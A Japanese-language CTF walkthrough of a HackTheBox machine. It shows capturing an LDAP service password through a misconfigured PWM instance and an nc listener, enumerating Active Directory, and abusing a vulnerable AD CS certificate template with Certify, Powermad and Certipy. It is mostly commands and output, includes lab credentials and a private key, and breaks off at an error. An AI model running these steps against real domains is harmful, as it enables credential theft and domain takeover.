色々新たなクレデンシャルが出てきたが、これでもwinrmさんでログインできない！！
また別のルートを探索する必要がありそうです。

project-PWM

今まで収集してきた内容を見返すと、ポートスキャンで8443という気になるPortを発見する。
これはWellkownではないが、たまに開発者がHTTPS443のPortを開発用に8443で設計したりすることがあります。
※ここら辺は開発者側の感覚かなと思われる。
このPortにアクセスしてみます。

なんだこれはパスワードマネージャー？？
調査してみると以下のサイトが見つかります。

もう少し調べてみるとGithubも見つけました。

このパスワードマネージャーがデフォルトで8443のPortを使用するみたいです。
こいつにさっきのpwm_admin_password のパスワードを入れてログインしてみます（ConfigEditorから入らないと弾かれます）。

ほう、ldapの設定箇所がある。こいつに自分のサーバーの設定を突っ込んでみる。

ncコマンドで通信を待ち受けていたら認証情報が飛んできました。

┌──(root㉿kali)-[~]
└─# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.20] from (UNKNOWN) [10.129.11.152] 51331
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb lDaP_1n_th3_cle4r!

CNでアカウント名を確認するとsvc_ldap、その後にディレクトリツリーがあり、最後にパスワードらしき文字列が見えますね。
これでアクセスしてみる。

ログイン成功！User権限をいただきました！！！

特権昇格

情報収集

RustHound

BloodHoundの代わりにRustHoundを使います。DockerでBuildを済ませておけば特段Sharpなどのexeを手動で送りこむ必要もなくささっとzipファイルが手に入るのでお手軽です。

Buildする場合は以下のコマンドを実行しましょう。
※これはちょっと時間かかります。

┌──(root㉿kali)-[/opt/RustHound]
└─# docker build -t rusthound .
[+] Building 296.4s (11/11) FINISHED                                                                                                                        
 => [internal] load build definition from Dockerfile                                                                                                   0.1s
 => => transferring dockerfile: 368B                                                                                                                   0.0s
 => [internal] load .dockerignore                                                                                                                      0.1s
 => => transferring context: 2B                                                                                                                        0.0s
 => [internal] load metadata for docker.io/library/rust:1.64-slim-buster                                                                               2.9s
 => [1/6] FROM docker.io/library/rust:1.64-slim-buster@sha256:da66962a6c5b9cae84a6e3e9ea67da5507b91ec0b4604016e07f5077286b1b2e                        18.7s
 => => resolve docker.io/library/rust:1.64-slim-buster@sha256:da66962a6c5b9cae84a6e3e9ea67da5507b91ec0b4604016e07f5077286b1b2e                         0.0s
 => => sha256:e8da65b7aee6fe31a02a9b12e846ecb549032a0e21d23307414d1748fef914d0 194.36MB / 194.36MB                                                     7.7s
 => => sha256:da66962a6c5b9cae84a6e3e9ea67da5507b91ec0b4604016e07f5077286b1b2e 984B / 984B                                                             0.0s
 => => sha256:c761809aae5fe07769dab99f4404ca5d71a954934a74484e48eb06c0260ef484 742B / 742B                                                             0.0s
 => => sha256:085572de3c6eef7d59c5fe4feb8263dffa0425acb73747606391b2a8afec2446 4.85kB / 4.85kB                                                         0.0s
 => => sha256:4500a762c54620411ae491a547c66b61d577c1369ecbf5a7e91b4e153181854b 27.14MB / 27.14MB                                                       1.3s
 => => extracting sha256:4500a762c54620411ae491a547c66b61d577c1369ecbf5a7e91b4e153181854b                                                              3.2s
 => => extracting sha256:e8da65b7aee6fe31a02a9b12e846ecb549032a0e21d23307414d1748fef914d0                                                             10.7s
 => [internal] load build context                                                                                                                      0.1s
 => => transferring context: 532.71kB                                                                                                                  0.0s
 => [2/6] WORKDIR /usr/src/rusthound                                                                                                                   1.6s
 => [3/6] RUN apt-get -y update && apt-get -y install gcc libclang-dev clang libclang-dev libgssapi-krb5-2 libkrb5-dev libsasl2-modules-gssapi-mit m  28.6s
 => [4/6] COPY ./src/ ./src/                                                                                                                           0.1s
 => [5/6] COPY ./Cargo.toml ./Cargo.toml                                                                                                               0.1s 
 => [6/6] RUN cargo install --path .                                                                                                                 237.5s 
 => exporting to image                                                                                                                                 6.9s 
 => => exporting layers                                                                                                                                6.9s 
 => => writing image sha256:490ee8c18b28affff12ed0cb78992e21209368efd68a64772b027f2bf31f8bc8                                                           0.0s 
 => => naming to docker.io/library/rusthound

Buildが出来ていればDockerでRustHoundを回します。

┌──(root㉿kali)-[/opt/RustHound]
└─# docker run -v /opt/RustHound/work:/tmp/htb rusthound -d authority.htb -i 10.129.11.152 -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -o '/tmp/htb' -z --ldaps
---------------------------------------------------
Initializing RustHound at 06:48:59 on 07/18/23
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2023-07-18T06:48:59Z INFO  rusthound] Verbosity level: Info
[2023-07-18T06:49:00Z INFO  rusthound::ldap] Connected to AUTHORITY.HTB Active Directory!
[2023-07-18T06:49:00Z INFO  rusthound::ldap] Starting data collection...
[2023-07-18T06:49:02Z INFO  rusthound::ldap] All data collected for NamingContext DC=authority,DC=htb
[2023-07-18T06:49:02Z INFO  rusthound::json::parser] Starting the LDAP objects parsing...
[2023-07-18T06:49:02Z INFO  rusthound::json::parser::bh_41] MachineAccountQuota: 10
[2023-07-18T06:49:02Z INFO  rusthound::json::parser] Parsing LDAP objects finished!
[2023-07-18T06:49:02Z INFO  rusthound::json::checker] Starting checker to replace some values...
[2023-07-18T06:49:02Z INFO  rusthound::json::checker] Checking and replacing some values finished!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 5 users parsed!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 60 groups parsed!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 1 computers parsed!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 3 ous parsed!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 1 domains parsed!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 3 gpos parsed!
[2023-07-18T06:49:02Z INFO  rusthound::json::maker] 21 containers parsed!

RustHound Enumeration Completed at 06:49:02 on 07/18/23! Happy Graphing!

[2023-07-18T06:49:02Z INFO  rusthound::json::maker] /tmp/htb/20230718064902_authority-htb_rusthound.zip created!

続いてneo4jとbloodhoundを起動します。

┌──(root㉿kali)-[~]
└─# neo4j console
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2023-07-18 06:53:04.421+0000 INFO  Starting...
2023-07-18 06:53:05.811+0000 INFO  This instance is ServerId{1400abe5} (1400abe5-d8c9-4976-8194-b3706a4b1946)
2023-07-18 06:53:07.375+0000 INFO  ======== Neo4j 4.4.16 ========
2023-07-18 06:53:09.318+0000 INFO  Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2023-07-18 06:53:09.332+0000 INFO  Setting up initial user from defaults: neo4j
2023-07-18 06:53:09.335+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2023-07-18 06:53:09.346+0000 INFO  Setting version for 'security-users' to 3
2023-07-18 06:53:09.349+0000 INFO  After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2023-07-18 06:53:09.352+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-07-18 06:53:09.751+0000 INFO  Bolt enabled on localhost:7687.
2023-07-18 06:53:10.869+0000 INFO  Remote interface available at http://localhost:7474/
2023-07-18 06:53:10.871+0000 INFO  id: A26888B9358589A230ADB2D47824D1A3D2343840A955695BD6BE045BDCABB6D9
2023-07-18 06:53:10.872+0000 INFO  name: system
2023-07-18 06:53:10.872+0000 INFO  creationDate: 2023-07-18T06:53:08.125Z
2023-07-18 06:53:10.872+0000 INFO  Started.

┌──(root㉿kali)-[~]
└─# bloodhound 
(node:33662) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron.  See https://github.com/electron/electron/issues/23506 for more information
(node:33731) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.

出来たZIPを投入して確認します。

何もいいのがなかったです。

winPeas

以下からwinPeasのbatファイルをダウンロードし、対象端末上で実行する。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> upload winPEAS.bat                                                                                               
                                                                                                                                                            
Info: Uploading /root/work/winPEAS.bat to C:\Users\svc_ldap\Desktop\winPEAS.bat                                                                             
                                                                                                                                                            
Data: 47928 bytes of 47928 bytes copied                                                                                                                     
                                                                                                                                                            
Info: Upload successful! 
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> .\winPEAS.bat
                                                                                                                                                            
            ((,.,/((((((((((((((((((((/,  */                                                                                                                
     ,/*,..*(((((((((((((((((((((((((((((((((,                                                                                                              
   ,*/((((((((((((((((((/,  .*//((//**, .*((((((*                                                                                                           
   ((((((((((((((((* *****,,,/########## .(* ,((((((                                                                                                        
   (((((((((((/* ******************/####### .(. ((((((                                                                                                      
   ((((((..******************/@@@@@/***/###### /((((((                                                                                                      
   ,,..**********************@@@@@@@@@@(***,#### ../(((((                                                                                                   
   , ,**********************#@@@@@#@@@@*********##((/ /((((                                                                                                 
   ..(((##########*********/#@@@@@@@@@/*************,,..((((                                                                                                
   .(((################(/******/@@@@@#****************.. /((                                                                                                
   .((########################(/************************..*(                                                                                                
   .((#############################(/********************.,(                                                                                                
   .((##################################(/***************..(                                                                                                
   .((######################################(************..(                                                                                                
   .((######(,.***.,(###################(..***(/*********..(                                                                                                
   .((######*(#####((##################((######/(********..(                                                                                                
   .((##################(/**********(################(**...(                                                                                                
   .(((####################/*******(###################.((((                                                                                                
   .(((((############################################/  /((                                                                                                 
   ..(((((#########################################(..(((((.                                                                                                
   ....(((((#####################################( .((((((.                                                                                                 
   ......(((((#################################( .(((((((.                                                                                                  
   (((((((((. ,(############################(../(((((((((.                                                                                                  
       (((((((((/,  ,####################(/..((((((((((.                                                                                                    
             (((((((((/,.  ,*//////*,. ./(((((((((((.                                                                                                       
                (((((((((((((((((((((((((((/                                                                                                                
                       by carlospolop                                                                                                                       
                                                                                                                                                            
                                                                                                                                                            
/!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script                                                                                   
   WinPEAS should be used for authorized penetration testing and/or educational purposes only.                                                              
   Any misuse of this software will not be the responsibility of the author or of any other collaborator.                                                   
   Use it at your own networks and/or with the network owner's permission.   

...省略

特段いいものがない。

Powerless

以下サイトからPoweless.batをダウンロードする。

また、多くのアクセス権の情報を出力させるためAccessChk.exeを以下からダウンロードします。

回します。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> upload accesschk64.exe                                                                                           
                                                                                                                                                            
Info: Uploading /root/work/accesschk64.exe to C:\Users\svc_ldap\Desktop\accesschk64.exe                                                                     
                                                                                                                                                            
Data: 1080552 bytes of 1080552 bytes copied                                                                                                                 
                                                                                                                                                            
Info: Upload successful!                                                                                                                                    
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> upload Powerless.bat                                                                                             
                                                                                                                                                            
Info: Uploading /root/work/Powerless.bat to C:\Users\svc_ldap\Desktop\Powerless.bat                                                                         
                                                                                                                                                            
Data: 16896 bytes of 16896 bytes copied                                                                                                                     
                                                                                                                                                            
Info: Upload successful!                                                                                                                                    
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> .\Powerless.bat                                                                                                  
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)-------                                                                
Powerless.bat : Access is denied.                                                                                                                           
    + CategoryInfo          : NotSpecified: (Access is denied.:String) [], RemoteException                                                                  
    + FullyQualifiedErrorId : NativeCommandError                                                                                                            
                                                                                                                                                            
----- Architecture -------                                                                                                                                  
PROCESSOR_ARCHITECTURE=AMD64                                                                                                                                
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntel                                                                                     
PROCESSOR_LEVEL=6                                                                                                                                           
PROCESSOR_REVISION=5507                                                                                                                                     
                                                                                                                                                            
------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) -------           
Current User: svc_ldap                                                                                                                                      
                                                                                                                                                            
USER INFORMATION                                                                                                                                            
----------------                                                                                                                                            
                                                                                                                                                            
User Name    SID                                                                                                                                            
============ =============================================                                                                                                  
htb\svc_ldap S-1-5-21-622327497-3269355298-2248959698-1601     

...省略

特段いいものがない。

PowerUp

以下のリポジトリからダウンロード。回してみる。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> Import-Module C:\Users\svc_ldap\Desktop\PowerUp.ps1
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> Invoke-AllChecks

[*] Running Invoke-AllChecks


[*] Checking if user is in a local group with administrative privileges...


[*] Checking for unquoted service paths...
Access denied 
At C:\Users\svc_ldap\Desktop\PowerUp.ps1:457 char:21
+     $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...
+                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand


[*] Checking service executable and argument permissions...
Access denied 
At C:\Users\svc_ldap\Desktop\PowerUp.ps1:488 char:5
+     Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand


[*] Checking service permissions...
Access denied 
At C:\Users\svc_ldap\Desktop\PowerUp.ps1:534 char:17
+     $Services = Get-WmiObject -Class win32_service | Where-Object {$_ ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand


[*] Checking %PATH% for potentially hijackable .dll locations...


HijackablePath : C:\Users\svc_ldap\AppData\Local\Microsoft\WindowsApps\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Users\svc_ldap\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' -Command '...'

HijackablePathが出てくるけど、WindowsAppsって大体どのBOXでも出てくるんだよねという感覚。
特段いいものはなさそう。

SharpUp.exe

上記から一通りのバイナリはどうせこの後試すだろうから落としておきましょう。
その中からSharpUp.exeを利用します。auditコマンドを使い、全モジュールで検査。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> .\SharpUp.exe audit

=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.
[X] Unhandled exception in ModifiableServiceRegistryKeys: Exception has been thrown by the target of an invocation.
[X] Unhandled exception in ModifiableServices: Exception has been thrown by the target of an invocation.

[-] Not vulnerable to any of the 15 checked modules.


[*] Completed Privesc Checks in 5 seconds

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop>

特段いいものがなさそう。

手動 enumerate

cmdkey

*Evil-WinRM* PS C:\> cmdkey /list

Currently stored credentials:

* NONE *
*Evil-WinRM* PS C:\>

クレデンシャルなし

whoami /priv

*Evil-WinRM* PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\>

ワクスペはまぁ追加できそうですね。

ps

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> ps 

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    397      33    12568      21088              2152   0 certsrv
    159       9     6680        552              2444   0 conhost
    507      19     2244       5460               364   0 csrss
    171       9     1732       4788               476   1 csrss
    407      34    17236      24148              2528   0 dfsrs
    162       9     2000       6224              2932   0 dfssvc
    291      14     3916      13664              3960   0 dllhost
  10408    7405   130960     129320              2564   0 dns
    532      22    23148      42264               992   1 dwm
     54       6     1600       4212              2944   1 fontdrvhost
     54       6     1512       4020              2952   0 fontdrvhost
      0       0       56          8                 0   0 Idle
    206      16     6516      15572              2596   0 inetinfo
    140      12     1908       5824              2104   0 ismserv
    870      35   957656     923320              3808   0 javaw
    474      26    10736      47344              4748   1 LogonUI
   2091     171    66604      73928               616   0 lsass
    558      58    50148      77204              2224   0 Microsoft.ActiveDirectory.WebServices
    255      13     3284      10608              4244   0 msdtc
    135       8     1876       6784              2668   0 nssm
    517      54    73340      11404              2036   0 powershell
      0       8      336     100692                88   0 Registry
    642      36    17084      24008              1148   0 SearchIndexer
    605      14     5708      13544               608   0 services
     53       3      496       1068               272   0 smss
    497      26     6176      18816              3032   0 spoolsv
    189      11     1864       8400               296   0 svchost
    133      16     3952       8188               316   0 svchost
    210      12     1740       7468               360   0 svchost
    143       7     1408       6092               632   0 svchost
     90       5      932       3860               832   0 svchost
    746      16     5280      15136               852   0 svchost
    756      19     6044      12544               888   0 svchost
    241      10     1804       7068               936   0 svchost
    270      15     4244       9848              1032   0 svchost
    221       9     2140       7768              1128   0 svchost
    351      13    10448      15048              1164   0 svchost
    403      33     7068      16468              1272   0 svchost
    250      15     2988      12200              1332   0 svchost
    376      17     5340      13836              1340   0 svchost
    236      12     2688      11916              1348   0 svchost
    437       9     2768       9104              1360   0 svchost
    122       7     1244       5676              1384   0 svchost
    163      10     1720       8164              1484   0 svchost
    327      10     2564       8712              1528   0 svchost
    373      18     5164      14840              1536   0 svchost
    322      12     2144       9152              1588   0 svchost
    181      11     1928       8288              1668   0 svchost
    144       9     1596       6660              1752   0 svchost
    173       9     2152       7488              1784   0 svchost
    269      14     2576       8084              1840   0 svchost
    169      13     1780       7552              1856   0 svchost
    265      13     3724      11360              1892   0 svchost
    223      12     2216       9444              1904   0 svchost
    423      16    13100      21728              1944   0 svchost
    233      12     2696      12676              2028   0 svchost
    179      10     1808       8204              2080   0 svchost
    457      15     3008      11156              2112   0 svchost
    239      25     3856      13148              2164   0 svchost
    190      15     6080      10440              2204   0 svchost
    131       7     1300       5824              2240   0 svchost
    317      16    16124      18136              2276   0 svchost
    458      20    18100      31220              2460   0 svchost
    210      11     2276       8704              2724   0 svchost
    139       9     1592       6632              2744   0 svchost
    141       8     1520       6356              2900   0 svchost
    171      12     3888      11036              3068   0 svchost
    234      15     4708      12056              3084   0 svchost
    278      20     3944      13192              3124   0 svchost
    171      11     2188      13244              3144   0 svchost
    224      12     2144       7688              3196   0 svchost
    322      18     6052      22756              3464   0 svchost
    130       8     2840      10224              3796   0 svchost
    317      21     8864      15996              4636   0 svchost
    408      26     3544      13356              4684   0 svchost
    173      11     2356      13352              4740   0 svchost
    161      10     1984       7016              5088   0 svchost
    167       9     2652       7556              5940   0 svchost
   1483       0      192        156                 4   0 System
    214      16     2408      10660              3680   0 vds
    177      11     3244      11944              3112   0 VGAuthService
    151       8     1676       7300               604   0 vm3dservice
    140       9     1704       7672              2592   1 vm3dservice
    144      10     1784       7696              3456   1 vm3dservice
    404      23    10152      23436              3104   0 vmtoolsd
    173      11     1416       6992               468   0 wininit
    247      12     2584      18440               536   1 winlogon
    394      20    22392      33300              3848   0 WmiPrvSE
    699      27    54204      73672       2.80   2172   0 wsmprovhost

Active Directory証明書サービス（ADCS）が動いている！
EscapeのBOXでも見たサービスですね。

Certify.exe

脆弱な証明書テンプレートがあるか確認します。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> upload Certify.exe
                                        
Info: Uploading /root/work/Certify.exe to C:\Users\svc_ldap\Desktop\Certify.exe
                                        
Data: 232104 bytes of 232104 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> .\Certify.exe find /vulnerable


   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |'
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=authority,DC=htb'

[*] Listing info about the Enterprise CA 'AUTHORITY-CA'

    Enterprise CA Name            : AUTHORITY-CA
    DNS Hostname                  : authority.authority.htb
    FullName                      : authority.authority.htb\AUTHORITY-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=AUTHORITY-CA, DC=authority, DC=htb
    Cert Thumbprint               : 42A80DC79DD9CE76D032080B2F8B172BC29B0182
    Cert Serial                   : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Cert Start Date               : 4/23/2023 9:46:26 PM
    Cert End Date                 : 4/23/2123 9:56:25 PM
    Cert Chain                    : CN=AUTHORITY-CA,DC=authority,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
      Allow  ManageCA, ManageCertificates               HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : authority.authority.htb\AUTHORITY-CA
    Template Name                         : CorpVPN
    Schema Version                        : 2
    Validity Period                       : 20 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Domain Computers          S-1-5-21-622327497-3269355298-2248959698-515
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
      Object Control Permissions
        Owner                       : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
        WriteOwner Principals       : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
                                      HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
        WriteDacl Principals        : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
                                      HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
        WriteProperty Principals    : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
                                      HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519

脆弱なテンプレートの見方は以下のサイトにわかりやすくまとまっています。

今回この脆弱なテンプレートを利用できるのはDomain Computersみたいです。
実際にsvc_ldapでテンプレートを要求しても以下のようにエラーが発生する。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> .\Certify.exe request /ca:authority.authority.htb\AUTHORITY-CA /template:CorpVPN /altname:Administrator

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : HTB\svc_ldap
[*] No subject name specified, using current context as subject.

[*] Template                : CorpVPN
[*] Subject                 : CN=svc_ldap, OU=Service Accounts, OU=CORP, DC=authority, DC=htb
[*] AltName                 : Administrator

[*] Certificate Authority   : authority.authority.htb\AUTHORITY-CA

[!] CA Response             : The submission failed: Denied by Policy Module
[!] Last status             : 0x80094012. Message: The permissions on the certificate template do not allow the current user to enroll for this type of certificate. (Exception from HRESULT: 0x80094012)
[*] Request ID              : 3

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5+XrfwHZXEwcIHZpjAbLu7R6x/TmlcigFIscS/UF4Khk58hG
df63QTx0cvBU30F7PTNAffwrQjhdjRsqFgBCKAitEw8au6TwINhke9ZnhPlbaOD5
4N5PfAjJK52Pbc+LZs8d4utX9N2m7ccWLogt/gqOLJEif+7k6BVFqmiqU1kQoLea
ih2c710RhWslPRYgsOK9aS+Mb1CD9N9S1XgUGrk0XylfaUPiaYi3CoZDemXxw7PS
aO5ZXj8KpMp4bom6WA0XetHNwrHHWSvQ+jyTYDdVTnzif4uM5IPV//0LbDOtCDuw
noaiXCfJCw/nfoGInV2sp9hRooD16BkTNiyI6QIDAQABAoIBAEFxel8yZ2QLuphS
soCo3lAPo+LQM06r+rkxdP/emxUGkMt0kqX0B0VqyTYyqtECisP/tcCYLKEYhRYw
R1VEJ2di420QgyvXZUjvqJPmMvqs4GYdr4cNVgMb+6HKalLEEoQmCTojzoO1Fcne
uFzTY59g3TSolMLj6Uex0SJBPWgdnfTG/+xz0++A9HauQTuDvVwCl+n2pabjIOLz
ut7NVbSPm63L/Lpkys3shNPRYEIwYh2pNNi1ZXdKSjWMSBuIuohLFe53YuP7nG0E
7xUIZXsMExf36gYhyGjckfsZGOIBL+FYrySrz6K5FtwG9DVw1Krd/SeRERG0VzJ1
ys0Qui0CgYEA8tRwXXbqJ6ludQw3lw+Pksq+tymQ7bC2QxnALLaMVrNl/MGQhcYD
0TO5cAfckPeey4lznSg8DL8YeeK4BIm93+hSCCWqndGmyS7Cix7Lu/N8pECtv0Y9
uXQhaOn7tubt5XpSAu0hjKBr8x3gCmI//1Gos0TW775W+f4C/UNo9R8CgYEA9Hmz
NP/FV8zDsF5r/RuBFq9XsjHact+I4qKcoBJSepd9StYBkXntCu4XjDawyHvD5HAa
m3XKFy8F/UO0nJAWjitGidKtjm7UCT55/fp0AQ3WahLgArWXGINuRtUZ2AcswWpG
2myMJ8oJMCwHwuqpPGVm0wYnLMjHmXZGIFFO+PcCgYBMA0olR8smnTgRdcCVDe7w
kXy/00glz5JOUOpCVOZ7YW8EfwchiQm63AkpU5ys2IahyiYhxO1/Q/aCeQEHkqKY
S54aJMhS3MTr5zJI4FwAOskClaiN3owF2J94uv3rlEBV/ENd3SMKZVFFak2uknDc
GJDJhTwPEjMh0GzZINfjGwKBgQDeqgFoohPxNdR9zGH6s5RNPwJWkEVwHtwj3wtc
V5O7iEJbaLMg9rXJILVdxWoaD2+Jnfj94rhfiTqhQ4s6lZmVfyDN4o6kjZidmsOt
aPFDDIFfNzXEAfROJVbJOMpDEbXXq55AzmCQ1NitgUzIYMYm9gxC4vXHOk9hHHIe
eS++XQKBgQChoNM8JqM5aPkRLOgeCfdRrm1WB/jwBLkiBoKvw4BmKGED79Qiuksm
mZUAwHSABe08W12XozCFASnKxbRbxWBlMo7vIrXmplRABI89xpCfk9Pc5YeA63YM
F2+wKWja3MvrM95A3ZFeMav8UCCGOF9kQHhO4f8Um4Q9MjMsvlbTvw==
-----END RSA PRIVATE KEY-----

[X] Error downloading certificate: Cert not yet issued yet! (iDisposition: 2)

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Attack to ADCS

Domain Computerなら脆弱なテンプレートを利用できるので、新規でComputerを作ってしまおうと考えます。

Add New Computer

作成をやり易くするために以下のPowershellをImportしておきましょう。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> Import-Module C:\Users\svc_ldap\Desktop\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> Import-Module C:\Users\svc_ldap\Desktop\Powermad.ps1

これで以下の作成コマンドを実行します。Passwordは123456とか適当に設定しときます。

*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> New-MachineAccount -MachineAccount TEST -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Domain authority.htb -DomainController authority.authority.htb -Verbose

Certipy

上記で作成したComputerのTEST$としてログインし、証明書テンプレートを要求しないといけないので、一括でできるCertipyを実行します。以下のリポジトリを参考にして欲しい。

回してみると以下のエラーが出る。

┌──(root㉿kali)-[~/work]
└─# certipy req -username TEST@authority.htb -password 123456 -ca AUTHORITY-CA  -dc-ip 10.129.11.152 -template CorpVPN -upn Administrator@AUTHORITY.HTB -debug -target authority.authority.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.11.152[\pipe\cert]
[!] Failed to connect to endpoint ncacn_np:10.129.11.152[\pipe\cert]: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
[+] Trying to resolve dynamic endpoint '91AE6020-9E3C-11CF-8D7C-00AA00C091BE'
[+] Resolved dynamic endpoint '91AE6020-9E3C-11CF-8D7C-00AA00C091BE' to 'ncacn_ip_tcp:10.129.11.152[49722]'
[+] Trying to connect to endpoint: ncacn_ip_tcp:10.129.11.152[49722]
[+] Connected to endpoint: ncacn_ip_tcp:10.129.11.152[49722]
[-] Got error: Unknown DCE RPC fault status code: 00000721
Traceback (most recent call last):
